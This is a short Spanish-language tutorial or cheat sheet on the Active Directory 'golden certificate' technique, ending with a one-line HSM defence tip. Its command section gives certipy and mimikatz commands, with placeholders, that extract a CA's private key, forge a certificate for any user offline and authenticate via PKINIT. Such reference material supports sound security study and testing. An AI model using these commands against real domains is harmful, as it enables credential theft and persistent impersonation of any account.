Qué es
Un golden certificate es un certificado que el atacante fabrica con la clave privada de la CA. Sirve para cualquier identidad del dominio y el dominio lo acepta como legítimo. Es persistencia que sobrevive al reseteo de contraseñas y a la rotación de krbtgt.
Cómo funciona
El dominio confía en un certificado por la CA que lo firma, no por revisar cada emisión. Si la CA está en NTAuthCertificates, el dominio acepta sus certificados para autenticar por PKINIT. Con la clave privada de la CA, el atacante firma un certificado falso fuera de línea. No hay solicitud, no hay plantilla, no hay registro de emisión. El dominio no distingue ese certificado de uno real: los dos llevan la firma de la misma CA de confianza.
Comandos
Extraer el certificado y la clave privada de la CA (requiere admin en el servidor de la CA):
certipy ca -backup -ca '<CA>' -username <USER>@<DOMAIN> -password <PASSWORD>Alternativa: exportar la clave con mimikatz en el servidor de la CA:
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /exportForjar un certificado para cualquier identidad, fuera de línea:
certipy forge -ca-pfx <FILE> -upn <USER>@<DOMAIN>Autenticar con el certificado forjado por PKINIT y obtener un TGT:
certipy auth -pfx <FILE> -dc-ip <IP>Cómo defenderse
Guarda la clave privada de la CA en un HSM: sin acceso a la clave no hay certificado que forjar.